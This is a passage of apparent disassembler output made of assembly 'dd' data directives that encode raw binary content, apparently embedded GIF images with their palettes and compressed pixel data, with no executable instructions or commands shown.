2023FEh, 3Bh, 38464947h, 2C6139h, 0A3E7002Ch dd 17171700h, 35313131h, 38383535h dd 3A3A3A38h, 443F3F3Fh, 48484444h, 4C4C4C48h, 56515151h dd 59595656h, 5A5A5A59h, 5D5B5B5Bh, 60605D5Dh, 61616160h dd 63626262h, 64646363h, 66666664h, 68676767h, 69696868h dd 6A6A6A69h, 6E6B6B6Bh, 6F6F6E6Eh, 7070706Fh, 73727272h dd 74747373h, 77777774h, 79787878h, 7A7A7979h, 7B7B7B7Ah dd 7E7D7D7Dh, 7F7F7E7Eh, 8080807Fh, 82818181h, 84848282h dd 85858584h, 88868686h, 89898888h, 8A8A8A89h, 8C8B8B8Bh dd 8D8D8C8Ch, 8E8E8E8Dh, 908F8F8Fh, 91919090h, 92929291h dd 95939393h, 96969595h, 97979796h, 99989898h, 9A9A9999h dd 9B9B9B9Ah, 9D9C9C9Ch, 9E9E9D9Dh, 9F9F9F9Eh, 0A1A0A0A0h dd 0A2A2A1A1h, 0A3A3A3A2h, 0A5A4A4A4h, 0A6A6A5A5h, 0A7A7A7A6h dd 0AAA8A8A8h, 0ABABAAAAh, 0ACACACABh, 0AEADADADh, 0AFAFAEAEh dd 0B0B0B0AFh, 0B2B1B1B1h, 0B3B3B2B2h, 0B4B4B4B3h, 0B6B5B5B5h dd 0B7B7B6B6h, 0B8B8B8B7h, 0BAB9B9B9h, 0BBBBBABAh, 0BCBCBCBBh dd 0BEBDBDBDh, 0BFBFBEBEh, 0C0C0C0BFh, 0C2C1C1C1h, 0C3C3C2C2h dd 0C4C4C4C3h, 0C6C5C5C5h, 0C7C7C6C6h, 0C8C8C8C7h, 0CAC9C9C9h dd 0CBCBCACAh, 0CCCCCCCBh, 0CECDCDCDh, 0CFCFCECEh, 0D0D0D0CFh dd 0D2D1D1D1h, 0D3D3D2D2h, 0D4D4D4D3h, 0D6D5D5D5h, 0D7D7D6D6h dd 0D8D8D8D7h, 0DAD9D9D9h, 0DBDBDADAh, 0DCDCDCDBh, 0DEDDDDDDh dd 0DFDFDEDEh, 0E0E0E0DFh, 0E2E1E1E1h, 0E3E3E2E2h, 0E4E4E4E3h dd 0E6E5E5E5h, 0E7E7E6E6h, 0E8E8E8E7h, 0EAE9E9E9h, 0EBEBEAEAh dd 0ECECECEBh, 0EEEDEDEDh, 0EFEFEEEEh, 0F0F0F0EFh, 0F2F1F1F1h dd 0F3F3F2F2h, 0F4F4F4F3h, 0F6F5F5F5h, 0F7F7F6F6h, 0F8F8F8F7h dd 0FAF9F9F9h, 0FBFBFAFAh, 0FCFCFCFBh, 0FEFDFDFDh, 0FFFFFEFEh dd 45h dup(0FFFFFFFFh), 4F921FFh, 0FF000A01h, 2C00h, 2C0000h dd 800002Ch, 9FF00FEh, 0A0B0481Ch, 0B4572140h, 2571C8F4h dd 1083140Ch, 98244A23h, 41A14EC4h, 0A9ACE280h, 0A05087D3h dd 4A43132Dh, 9326E12Ch, 3E9B4B26h, 9E51A89h, 97442112h dd 399C88ECh, 51A0C4F0h, 0FA6D369Ah, 90C8A5A3h, 393E8C30h dd 5049C452h, 3D219A08h, 0C934F218h, 5181D12h, 44712423h dd 3D261129h, 59A62748h, 1911E854h, 44F22489h, 4A29542Ah dd 0B6198856h, 255479BCh, 8C3B0CE4h, 6B399CEAh, 480D4170h dd 94883A69h, 8B8FA861h, 2E077405h, 10866150h, 165F9A0Dh dd 5810D135h, 821A04E0h, 0F9A038CAh, 0F1A1122h, 0C0E5FF8Dh dd 60C08B2h, 0F1002B9Ah, 8F399171h, 684933C5h, 0C833C932h dd 7037E649h, 4211990Ah, 411E08F3h, 81C31B6Dh, 904C8823h dd 650477DAh, 0E38D1E9h, 8063409Ch, 276234D0h, 81DA1650h dd 2401BCE3h, 224D07E6h, 29167874h, 184FE6EEh, 0FE8B341Eh dd 5B3F1CCh, 5F407709h, 21F4CF94h, 22168FA7h, 99D8C9BAh dd 8EE68462h, 7CB47431h, 4D069B3Dh, 0A072351Ch, 7A1E4681h dd 210801F4h, 89222885h, 0B2649725h, 0FC9C2749h, 91248861h dd 220A3278h, 2912948h, 51684D0Fh, 0FC761AC6h, 8C228871h dd 24C90238h, 89C27098h, 34A89F27h, 289428CAh, 481AC818h dd 1240A05Dh, 791B867h, 1470671Ah, 24872108h, 982508C2h dd 2822B838h, 78288A2h, 0B1045F10h, 353343C3h, 9D1F41E0h dd 1E49725Ch, 771D46Eh, 0F2087F1Fh, 0E49882D2h, 0A127C9D4h dd 0C874288h, 0C350E053h, 0F0453415h, 5C9E1E81h, 6F1E8962h dd 1F0791D4h, 48520C80h, 0B4E66022h, 0D8769962h, 3A0E8530h dd 5133480h, 8991CC1Ch, 0D1E09224h, 70781D06h, 919EC829h dd 26E0D254h, 6482749Ch, 0E0E850A0h, 61341743h, 981B81B0h dd 1E090244h, 0C771D06Eh, 88FC7F1Eh, 95FE2408h, 0A6261258h dd 8361D52Ah, 1083B13h, 6C1A4D06h, 8E2546B0h, 1B476238h dd 87A1D873h, 0F21E3F1Fh, 1A0C2508h, 361D29A9h, 1143B134h dd 0C1D4D062h, 0B2486706h, 146C5C48h, 8381879Bh, 0AC493B28h dd 47398EB3h, 90F44C0Dh, 9D3418C4h, 8816C1E0h, 1C08420Ch dd 711B868h, 11F47BA4h, 988D2248h, 0CC24C928h, 0D870262h dd 4521104Ah, 10B9341Ah, 0EC7F14C2h, 641A87C1h, 0AAAF61A8h dd 0C894BE05h, 23C8DB6h, 0D86E2489h, 6A128470h, 90324D1h dd 4791EC52h, 9188691Eh, 14701B46h, 821EC78Bh, 0C6241218h dd 71E1B71Ah, 41BC5E13h, 38260D13h, 68CFC761h, 1A866180h dd 8731C46Dh, 7216079Dh, 90892208h, 361AC8D8h, 1804F120h dd 394D070h, 21C44F0Bh, 7C651CC7h, 6B1A0641h, 1DC73D14h dd 8859EAC8h, 922F4C21h, 8852D446h, 357D8781h, 1B46D140h dd 85D1886Fh, 0C1A46618h, 711BFEC6h, 2025C1D4h, 367BC881h dd 5D446722h, 0D06C1A85h, 520F4304h, 1AC691A0h, 0C6016C5Eh dd 61B34318h, 0FC7EA46Fh, 3F208801h, 1278521Ah, 0D501E05Bh dd 4118284Ch, 98651885h, 5E1605C1h, 0E5464184h, 2041D86Fh dd 1E647D1Fh, 2C371978h, 1B1F4601h, 1382D4D0h, 86017455h dd 0B15C5918h, 0E7931785h, 7896ADDDh, 0E670E1E8h, 4C0DC63h dd 40807F19h, 50550C53h, 5B168561h, 42453150h, 46418BC2h dd 41C8701Ah, 0DC761D47h, 601EBCD1h, 1A04B0D4h, 0C374D146h dd 0D1605E19h, 1C56FD45h, 0A918C61Fh, 0D6C6F1A7h, 0F35F4874h dd 1C0630F8h, 8C0E6140h, 204D0110h, 69E28550h, 1BC80B81h dd 668819C3h, 6E743BB4h, 60C88769h, 6D0F621h, 1062103Bh dd 9A012h, 1802002h, 600A010h, 12020038h, 3C0600A0h, 10190260h dd 504C0981h, 8C1282h, 80D01E04h, 81202A05h, 33204409h dd 0A20C4009h, 0C4488710h, 3B000080h, 38464947h, 2F6139h dd 0FFE7002Eh, 2C030100h, 2280500h, 6003705h, 3D06013Ch dd 370700h, 0A004307h, 300B0543h, 4B0A00h, 0B03520Ah, 4B0C0047h dd 45A0A02h, 0C054E0Dh, 5A0D0055h, 4D0F00h, 0F00620Eh dd 4A0F075Ch, 5D0D08h, 12006510h, 600F0E52h, 24E120Dh dd 16066813h, 51141257h, 0A4B1511h, 1A005F17h, 54190C60h dd 0F5C1D01h, 1C105C1Ah, 641E0551h, 15591D13h, 1D16601Dh dd 61210B66h, 1875200Eh, 210F5D20h, 681F196Fh, 126A2311h dd 25126524h, 68271760h, 1C632817h, 2B1C6C2Ah, 732A1E67h dd 28692D1Eh, 2C207429h, 73311A6Fh, 236D321Ah, 32246D30h dd 71351E69h, 2A783621h, 38227834h, 7A382474h, 286F382Bh dd 3D27793Ch, 743C3073h, 2C7D402Dh, 40297841h, 9E402B96h dd 32814239h, 44378244h, 7E463377h, 36964338h, 48338647h dd 884B3099h, 397C493Ch, 4C39884Ah, 804E3984h, 359F4D39h dd 4D468851h, 85533E8Fh, 3F9D523Dh, 593C8654h, 0A1554178h dd 3E8A5743h, 58469159h, 935A4092h, 45A55A3Ch, 5A4BA458h dd 8E5B4788h, 49A45D49h, 5C5A8D60h, 0A7604C94h, 4E91644Eh dd 6648A963h, 956852ABh, 5EA96852h, 6C579F69h, 0AD6C569Bh dd 5D9D6F59h, 6D65A96Dh, 0A0715C98h, 5BB1705Ah, 725D9B74h dd 0AF7363B4h, 72A47467h, 8673A67Ah, 0BE9966AAh, 6EC39868h dd 9B5EBE98h, 0C09B68D2h, 66C19A71h, 9E71CE9Dh, 0D09F68BEh dd 62D1A06Ah, 0A16BD3A3h, 0C2A274D2h, 6CD5A36Dh, 0A66DD0A5h dd 0BE9D95D1h, 7DD2A76Eh, 0A970C0A6h, 0D5AA71D4h, 81D6AB72h dd 0AC73C3A9h, 0D4B073D8h, 7CD3AE7Bh, 0B07DD5AFh, 0D7B17ED6h dd 80C5B08Ch, 0B57ED8B3h, 0D4B486D4h, 88D6B780h, 0B494D6B5h dd 0D7B882C3h, 83C4B39Ch, 0B98BD9BAh, 0DABB84D9h, 86C8B899h dd 0BC8BDBBCh, 0DCBC8ED6h, 0A2C4B8A5h, 0BE8DCBB9h, 0D8BD95D8h dd 8FD9BF8Eh, 0BCA9DAC1h, 0DBC097C8h, 91B7BAB8h, 0BBB9DCC3h dd 0DDC492B8h, 9AD8C498h, 0BDBBDEC3h, 0CEC2AEBAh, 9BDAC5A1h dd 0C6A2DBC7h, 0CAC4B4DCh, 9DBFC2C0h, 0C8A4DECAh, 0E0CAA6DEh dd 0ADDACCA3h, 0CBABE0C9h, 0C3C6C4DBh, 0BFDCCCACh, 0CABAD0C8h dd 0D2CBBBD0h, 0C7DECEAEh, 0CCBCC6C9h, 0DECDB5D3h, 0C6E1D0B0h dd 0CFB7CECCh, 0E2D2B2E1h, 0B3E3D1B9h, 0D1BDE3D3h, 0DDD3B7DDh dd 0B8CBCFCDh, 0D5B9DED4h, 0E0D4C0DFh, 0C1E0D6BAh, 0D7BBE2D5h dd 0E3D9BCE2h, 0D3E3D7C3h, 0DABED2D5h, 0E5D9C4E5h, 0C9E0DBC2h dd 0D7D9E0DAh, 0E2DDC4DBh, 0D8DBD9D4h, 0DDCCD6DAh, 0E3DFC6E3h dd 0CFD8D9DEh, 0DED9E6DFh, 0E8E1D1E1h, 0D5DCE0DEh, 0DFE1E3E2h dd 0E3E1DCE3h, 0E2E7E4DFh, 0EAE5EAE8h, 0E7EAE8EDh, 0F1EEF2F0h dd 0F4F2F0F3h, 0F3F7F4F1h, 0F9F7F8FEh, 0FCFAF8FBh, 0FAFDFBF9h dd 0FDFBFCFFh, 0FFFFFCFFh, 4F921FFh, 0FF000A01h, 2C00h dd 2F0000h, 800002Eh, 9FF00FEh, 0D630381Ch, 110659ACh dd 0D0983C1Eh, 0BD5EADE0h, 0D6F32988h, 8BBD5E8Eh, 0DC11DAF6h dd 0B56051C8h, 0DDECF67Ah, 0E492490Bh, 0F0F89045h, 6FC7D3E9h dd 3095BEDFh, 0F99C75CDh, 7F3E162Fh, 6BEE7330h, 4F678FC9h dd 0CA833997h, 8E71C9A4h, 9348A3BFh, 3487ED26h, 2F7CCF5Fh dd 97D3E661h, 14C7288Eh, 2B8DD68Ch, 0BC1C6E37h, 0C6C2F077h dd 9E4F1B1Bh, 0E6F2B3D9h, 0CF3B5DA9h, 1A8DD599h, 0E3395C6Ch dd 391E8F26h, 0DB1D8CB8h, 0DFAFAC8Bh, 0AF6CB65h, 18D84636h dd 2504B7AFh, 0E491A060h, 773D9BCBh, 0E763B9B2h, 0C9E5B2AEh dd 5669D4ECh, 6773AE77h, 2152F171h, 0C2412816h, 0BC4E1F0Ah dd 0D03C1D8h, 0B074385Dh, 1D76C1CFh, 6D375C0Eh, 8EE9B1B7h dd 0ABDC4CC6h, 0AF4AFFD1h, 8C052200h, 0C2D03B9Dh, 0BB3D9EBDh dd 0DADBB776h, 16BB61B4h, 70331A6Dh, 1E2B47BFh, 1D0C850Eh dd 0FE94E0E4h, 8E1DA72Fh, 0D96D73DBh, 0F6A34DAEh, 6EB3198Ch dd 270B11D9h, 9D4EC64Eh, 7FF2DC66h, 3F2DFF13h, 58D9F437h dd 0CC350D43h, 330D0340h, 0DC02A8DAh, 778527Ch, 64DC3247h dd 0D984DFE3h, 358D67A4h, 4D0818CFh, 830CCC33h, 99DA828Dh dd 701D9F46h, 89CD7314h, 8D78A615h, 0A348D285h, 0CC53261h dd 2034CBF3h, 836227CAh, 8C31C074h, 7358D235h, 521789E2h dd 0CD81A2E3h, 314C5334h, 0BF300C0h, 282CA533h, 0B4717762h dd 3868C31h, 9124380Eh, 0E4A91E30h, 0E930B92Fh, 460D70E4h dd 0C991CBA9h, 9161A334h, 0E48964CDh, 62E4B996h, 7CA130CBh dd 6D1BDF49h, 2E8B52B8h, 0CC12F8BAh, 39A8C530h, 0B66C30CCh dd 7130A6E9h, 191DC886h, 4B21AC6Fh, 8A368C2Dh, 72802FA7h dd 0B69B6829h, 2FCB02D8h, 0E0D9C89Fh, 42B86A1Bh, 0C8B22D0Bh dd 9F2D4B42h, 0A4CB62CAh, 0B0A5A6Eh, 92E4AC2Ch, 2DFE9389h dd 0A204E0F4h, 0CAE2AC68h, 1A96A2ADh, 0C0AE2CAAh, 0ACAB2AA2h dd 2D8A32B0h, 1576AAFh, 0D1283D0Bh, 9C681B05h, 0BB2BAB72h dd 2B4AEAE2h, 8AD2ACABh, 82ACAC2Bh, 88A6298Ah, 88B14B02h dd 9C13055h, 45A12838h, 6B56CD1Ah, 52EC2B6Dh, 0F029ED5Bh dd 298A729Ah, 8A0288A3h, 248A827h, 9010035Ch, 6615845Bh dd 0BC0A3194h, 0ABBA8A7h, 0D28EF1C1h, 6C9EBDEDh, 0FA2889A2h dd 92FC68Eh, 0C5310837h, 32886518h, 0D304C22Fh, 0F7C7CA2Bh dd 2570EBDEh, 0EFB2389Eh, 20C81E03h, 885D1304h, 1FC7CA01h dd 0CCCA3BD3h, 0B2128330h, 52549AC3h, 8F262689h, 1F028106h dd 1303F0C0h, 0B361845Ah, 7C8330CDh, 6B2227B4h, 9ACEB392h dd 29C0220h, 2E0780Ah, 0C150460Fh, 749E26C5h, 4CCDB47Dh dd 0CE09BCDBh, 4932574Fh, 0A68F5225h, 0B81B0240h, 511103A0h dd 0D8C9A170h, 363D2F61h, 3CEB3AD9h, 83D9FEC9h, 0A36CD4Ch dd 4B10435h, 6D3B3B17h, 0E786E1F8h, 8F24F7ADh, 0DF88024Ch dd 330A017h, 8E2859D6h, 0EF79E2B8h, 8F23F7BDh, 70081240h dd 41703009h, 30E43108h, 0A7981544h, 90DEF99Eh, 2379C240h dd 5A3E3C8Fh, 440602h, 4330BC2h, 67D9C551h, 0EAC94DE7h dd 0FAEEBB9Ah, 0F23C8B22h, 83B5ECF9h, 3B0C42A0h, 0E6890154h dd 3C2F47D0h, 0BF108D24h, 0F08B21C8h, 6019C01h, 941C02Ch dd 39C13FB8h, 4F97ADE7h, 13D5EBBEh, 872288AFh, 1F887218h dd 7DD001C0h, 0F0C7CA06h, 348FEC04h, 0F9F9BD42h, 0FB3E922Fh dd 843BEDh, 18878Fh, 1400C010h, 540840E0h, 39EB04D0h, 3EB81F0h dd 2804FBA0h, 0F0104388h, 0C020012Dh, 81901601h, 9A0940Dh dd 4600087h, 12C027D7h, 8482621Ah, 0FE208420h, 5A0B8820h dd 20030025h, 702802C0h, 611C1001h, 21CC2582h, 42A8050Eh dd 8590AC41h, 0E007D5Eh, 80300402h, 2E039EEh, 21214C37h dd 25887872h, 3F87D0F6h, 51483FCh, 8CD1C411h, 380503A0h dd 701C0460h, 912E2704h, 62842989h, 7F8A514h, 1FE7020Bh dd 9813022h, 13827048h, 0D111A120h, 0C6E3238Bh, 6DC6C747h dd 0CC788CE1h, 0C8F71EA3h, 0F1FA3EC7h, 0E40C808Fh, 2025Bh dd 3Bh, 38464947h, 2836139h, 2A1001Eh, 0CAD4EA00h, 0FFD9D9D9h dd 0FFFFFFFFh, 4F921FFh, 2000A01h, 2C00h, 2830000h, 200001Eh dd 0A90254BBh, 0A30FEDCBh, 8BDAB49Ch, 0FBBCDEB3h, 48E2860Fh dd 0A689E696h, 0EB0873AAh, 4CF2C70Bh, 0E78DF6D7h, 0FC23AEFAh dd 870A0C0Fh, 88F1A2C4h, 0CC92F954h, 8D09F3A6h, 0AAD4A74Ah dd 6ACD8AF5h, 0F7AEDCB7h, 0C78B0E0Bh, 8CF9B2E4h, 0ECD7AB4Eh dd 8F0DFBB6h, 0BAF4E7CBh, 0EBCF8EFDh, 0FFBEFCF7h, 3828180Fh dd 78685848h, 0B8A89888h, 0F8E8D8C8h, 39291908h, 79695949h dd 0B9A99989h, 0F9E9D9C9h, 3A2A1A09h, 7A6A5A4Ah, 0BAAA9A8Ah dd 0FAEADACAh, 3B2B1B0Ah, 7B6B5B4Bh, 0BBAB9B8Bh, 0FBEBDBCBh dd 3C2C1C0Bh, 7C6C5C4Ch, 0BC84B43Ch, 0DCA5BCCCh, 152D1D0Ch dd 7D6D2060h, 5D448Dh, 3B00h, 0 dd 38464947h, 21D6137h, 0FBE700F4h, 10000h, 1000200h, 4000004h dd 9050007h, 20A0700h, 0B040C08h, 0F0C060Eh, 9100E07h dd 100A110Fh, 13110C12h, 0D14120Dh, 160F1B15h, 1F1B0D1Ch dd 0F201B0Eh, 1D10211Ch, 26211322h, 192A2518h, 28162C27h dd 352C1A31h, 21372E1Ch, 39273C33h, 453B2A42h, 2C57492Bh dd 4C2E584Ah, 6053345Ah, 366B5835h, 5A376C59h, 705D396Dh dd 39776538h, 673A7866h, 7A693C79h, 3F7C6A3Eh, 6D407E6Ch dd 806E417Fh, 43816F42h, 72458270h, 8A734084h, 478B7441h dd 75428674h, 8D76448Ch, 468E7745h, 79478F78h, 927B4990h dd 4B937C4Ah, 7E4C947Dh, 97804E95h, 5098814Fh, 83519A82h dd 9C84529Bh, 339D8553h, 8654CA8Ah, 9F87559Eh, 91677C90h dd 8958687Dh, 0BC8F3FA1h, 3ECB8758h, 8C54B891h, 0A58D5BAAh dd 72A68F54h, 8A569988h, 9A8973DBh, 59AE924Fh, 8C58AE90h dd 0AF915ADDh, 42FF9140h, 9553FF92h, 0B2945DB1h, 78B39755h dd 92519F8Fh, 0B49856FEh, 79A79468h, 9646A090h, 0FF9352FFh dd 5BB59958h, 9C5ABC99h, 0B0937BB8h, 54F59853h, 9D5CF699h dd 0A6957EB9h, 78FD9857h, 9E5DA797h, 0A7967FBAh, 81BC9F5Eh dd 9B5AA998h, 0FF9E50FFh, 5BBEA160h, 9982FF9Ch, 0C8997CAAh dd 66E89C69h, 0A270FC9Ch, 0AE9B8CBAh, 8DFFA15Fh, 0A260AF9Ch dd 0FCA36AFFh, 6DD7A27Fh, 0A965FEA5h, 0FFA76FFFh, 66C9A97Bh dd 0A96FFFAAh, 0FEAB71FCh, 75C1AF7Ah, 0ADA1FFAEh, 0CDAD9EBAh dd 98FFB180h, 0AEA3CEB0h, 0B7AFA7C8h, 92FFB382h, 0BA6FDCB3h dd 0C5B78FFEh, 89DDB493h, 0B594FDB4h, 0FEB58BDEh, 83C1B3A8h dd 0B68CFFB8h, 0FFB984FFh, 86FFB78Dh, 0BC8EFFBAh, 0FEBA96FEh dd 91C3BBB2h, 0BCB3FFBFh, 0FDC199C4h, 9BE6C1A5h, 0C49DFFC3h dd 0FCC5A3FFh, 0A4F7C7A2h, 0C6A9FDC6h, 0FFC8A6F7h, 9FFFCAA8h dd 0CAADFDCEh, 0FDCDA7FCh, 0AFFDCBAEh, 0CFA9FECCh, 0FFCDB0FFh dd 0B3FFCEB1h, 0D0B8FFCFh, 0FFD4B3FCh, 0B4FFD2BAh, 0D6B6FFD5h dd 0FBD4C1FFh, 0C2FCD7BBh, 0D8BCFCD5h, 0FDD6C3FDh, 0C4FED9BDh dd 0DBBAFED7h, 0FFDCB7F8h, 0C6F9DAC2h, 0DACBFFDAh, 0FDDEC6FCh dd 0C6F9E1C5h, 0E3C7FAE2h, 0FBE2CEFBh, 0D4FDE5C9h, 0E7CFF8E3h dd 0FFE8CCFAh, 0D6FAE4DCh, 0E5E0FAE6h, 0FBE7D7E8h, 0EAE9E6E1h dd 0E5E1E3E4h, 0DDE4EDF5h, 0E2EAE7E2h, 0E8DCF6E6h, 0EBE8E3F6h dd 0E4F7E7E3h, 0E8E4ECE9h, 0FAECE0F8h, 0EAF4EAE9h, 0EDE4F6EBh dd 0EFEDE7F5h, 0E5FDF0DCh, 0EEE9F7EEh, 0F2EFEAF0h, 0E4F9F0E8h dd 0F3DFFFF1h, 0F3F1ECFFh, 0F0FAF2E9h, 0F3EEFBF1h, 0F7F5EFF6h dd 0F2F8F6F0h, 0F6F9F9F7h, 0FBF8F3FBh, 0F4FCF7FAh, 0F8FBFCF9h dd 0FDFAF5FDh, 0F6F7F8FEh, 0FBF9FEFBh, 0F9FCFAF8h, 0FBFFFDF7h dd 0FCFEFAFDh, 0FFFEF8FFh, 0FCFFFFF9h, 0FFFEFBFFh, 2CFCh dd 21D0000h, 80000F4h, 88100FEh, 20B0481Ch, 964025C1h dd 0B0C2912Ch, 588643A1h, 489C4A22h, 8B98A231h, 0DC6A3318h dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 514A730Fh, 0CFA0D098h dd 2A79039Fh, 61B0A85Ch, 90588851h, 512A5CDEh, 50A7D3A6h dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30C4588h, 1A915FAFh dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh dd 0BF7DC3E1h, 91B38C9Eh, 8E38D631h, 38C6469Dh, 0BDE42AB9h dd 0D18B2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E52B0E2h dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh dd 4006018h, 1C605816h, 42078C01h, 0D6FA096Eh, 440500C2h dd 1484E021h, 85E16856h, 60D79618h, 0D7821B6Dh, 0B4037161h dd 248646B0h, 89E26896h, 0E1F7FE28h, 18B1DE87h, 0C6298B9Ch dd 348CE328h, 8ADC98D6h, 40103423h, 0F0059088h, 40140202h dd 304C326h, 6D82F044h, 80304423h, 81341A01h, 6DB681E0h dd 0F0AC018h, 93C2D8ECh, 42D64204h, 69180104h, 866097E3h dd 2B856629h, 1C443052h, 41B8F60Fh, 0B1C43D18h, 9C340283h dd 3A030371h, 5C21640h, 4541B447h, 0C8F41807h, 1C168720h dd 7E00E681h, 2831642h, 83419C35h, 0E98C3802h, 4690A3E8h dd 3C8ADEBAh, 9B63D870h, 42706990h, 68286Dh, 0D44403D9h dd 85014676h, 0A62526DEh, 15A9608h, 9099B50Ah, 0B0FEA481h dd 0ACEB2AC6h, 867A9A2Fh, 0ADE08A5h, 0D4590259h, 0B5024596h dd 0D035185h, 6A59701Fh, 588E1C94h, 5C0386E8h, 815DB51h dd 0B4ED2AD0h, 22BA3ED4h, 6872A9B2h, 0E4719660h, 1C04C080h dd 8343D08Ch, 0AD894A2Eh, 0D6D46D94h, 0B6D58C06h, 14BBEEEBh dd 876B8B5Eh, 9B91840Dh, 4AF82A04h, 0EEC79FEEh, 0CE02190Bh dd 0B4454642h, 0F06C16F0h, 0BBC9FBC1h, 0B01B6DACh, 1310590Ah dd 1C6BA8F4h, 2A6BF82Ah, 96430BAEh, 9590A6C1h, 20C227D0h dd 0A4F22C87h, 5B6BCF17h, 70C00B0Fh, 38141006h, 6107817Ch dd 2428184h, 430220Dh, 9B672513h, 28361C71h, 351AC360h dd 0C8C36024h, 746D1744h, 0FB670A75h, 36440C61h, 4C6D4240h dd 5E10060h, 8228342Fh, 0AB62A401h, 0B1B6D2B3h, 2E914100h dd 0D8F62D1Ch, 0F66D9764h, 0ADA768D9h, 0B76CDAF6h, 70DBF6EDh dd 0DCF72DC7h, 0F76DD774h, 0ADE778DDh, 7CDEFEF7h, 5795ED8Bh dd 0F82E05D9h, 6E1784E0h, 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h dd 9D5DFDD8h, 65016757h, 6798E5F9h, 9CE6F9AEh, 0E7F9EE77h dd 0FA2E87A0h, 6E97A4E8h, 0A7A8E9FAh, 0ACEAFAAEh, 57543E73h dd 0C52189D1h, 6ED43C40h, 0E7B8EDFBh, 0BCEEFBAEh, 0EFFBEEF7h dd 0FC2F07C0h, 6F17C4F0h, 27C8F1FCh, 0CCF2FCAFh, 0F3FCEF37h dd 0BD2F47D0h, 814903F0h, 15E725Ch, 0F93F0FC1h, 0F7CF63E4h dd 0FE2F87E0h, 6F97E4F8h, 0A7E8F9FEh, 0ECFAFEAFh, 0FBFEEFB7h dd 0FF2FC7F0h, 6FD7F4FCh, 0E7F8FDFFh, 0FCFEFFAFh, 0F6FDDFABh dd 0F61D8040h, 7A3DC766h, 81E43D0h, 1702A04Ch, 3A06C0C8h dd 8C1081F0h, 482704A0h, 0F05A0AC1h, 0A0CC1882h, 0C1C83706h dd 83F07A0Eh, 8A10C20h, 12C24847h, 0F980D04Eh, 0AC1007E0h dd 20311CA7h, 84071F24h, 48670C87h, 0F0DA1AC3h, 0A1CC3886h dd 0C3C8770Eh, 87F0FA1Eh, 0A20C40FEh, 0C4488710h, 88F11A22h dd 12A24C48h, 26C4C897h, 3F89F13Ah, 0F23D0794h, 15EB9091h dd 0E04B0B07h, 61E10C01h, 0F17A2EC2h, 0A30C608Bh, 0C648C718h dd 8CF19A32h, 3C20BC68h, 2583C8A6h, 58394160h, 0EC0F0200h dd 0A62E0F21h, 0CC788EF1h, 0C8F71EA3h, 0F1FA3EC7h, 0A2E4158Fh dd 4010783Dh, 8E91CA38h, 22A40476h, 46C8C917h, 9091F23Ah dd 920A32Ch, 0C4E4C6F9h, 8C758E71h, 0C93726A4h, 0F27A4EC9h dd 649C7A93h, 0C8792D21h, 94F2824Ch, 2AA54CA8h, 514AB957h dd 9738D256h, 672B2444h, 0DA5ACB49h, 746496F2h, 993121A5h dd 0F2FA5C48h, 0A60CC097h, 0C8393330h, 94B2C251h, 32A61CBDh dd 66CCC997h, 0A497522Eh, 0A733A5E4h, 5A6ACD49h, 3CD08C13h dd 0C9AF34A6h, 0F37A6ECDh, 0E6CC109Bh, 0CE099115h, 9CF39A72h dd 712714CEh dd 744A6962h, 0F09DF3BAh, 8A3CA56Ch, 6E71CAF9h, 0FEF89E33h dd 1B3EA7CCh, 0B0E0CEA9h, 0CFB9933h, 9A0740A8h, 725279CBh dd 0A824B297h, 50CA1742h, 3813F611h, 44A86CFFh, 9D14A27h dd 1137F43Eh, 3746A8ADh, 0FA8BD14Ah, 0D1CA326h, 0EA0348A9h dd 7480DED1h, 0E94D28A4h, 9BAA4B39h, 0A5F4AA93h, 4B26AD30h dd 98D2E373h, 0C1A6F4DAh, 6A6E299Ch, 0FA9ED38Ah, 0BD3A9594h dd 4A7F4F0Dh, 3272A2D4h, 0AA19B6A8h, 54CA9751h, 36B52245h dd 54AA6D4Ah, 0A7C77AA7h, 54AA2642h, 0B156AACDh, 0DA635069h dd 0D5BA133h, 68BF58ABh, 756038D5h, 0AB4D68ACh, 0CF5ABB1Ah dd 0AD539275h, 62B8D70h, 0B9567ACBh, 74AE55DAh, 0F75DEB7Dh dd 0E60457CAh, 0D7D9EF5h, 0AFF5C6Ch, 161AC156h, 0E76D84ADh dd 0D5BB1761h, 0B19402C4h, 63AA6590h, 0A9594B23h, 98B2B64Eh dd 3365EA2Dh, 6E9C59CBh, 7DA0B3B6h, 4B4367E9h, 0B68E915Ah dd 0E8ADA8B4h, 5ACB5369h, 0B5B6AE86h, 0E8FE15B0h, 5B4B636Bh dd 0B6B6CE7Ch, 6DE745B8h, 6FDBCB73h, 0C0B7B6EEh, 836FE6B5h dd 0E66DC4Bh, 15C8B8B7h, 0CB9371E6h, 0B72E5C5Ch, 0E59DD0B9h dd 5D4BA373h, 0BAB74E54h, 75E4EDD8h, 485DCBB3h, 0E0BBB76Eh dd 115B267Dh, 9AF0D8AAh, 3DDF93D7h, 98F37AAFh, 0F7BAF5DEh dd 0AF7DED8Ch, 0DF18C57Ch, 8BB7DAF9h, 7EAFBDF5h, 68DE3A1Dh dd 0BF7616h, 37E6346h, 0E0CE04Ch, 0A608C0B8h, 0CC1381E0h dd 0B82E07E0h, 0E05610C1h, 0E11C2383h, 0C1B85309h, 8270BE16h dd 2E1AC33h, 1C3B873h, 0F78830FEh, 0DF11E22Bh, 9E26C4B7h dd 0FC538A2Fh, 78B315DEh, 0F17E2EBDh, 0E32C6379h, 0C6B8D2F0h dd 8E31BDDDh, 1DE3ABB3h, 3EC7B757h, 83902E8Eh, 1321DCDCh dd 3E46B939h, 0AC937172h, 0B932E0E4h, 327DBDC9h, 0E52B7394h dd 0CAB6D729h, 962D8E56h, 2DDADCB3h, 5EB53973h, 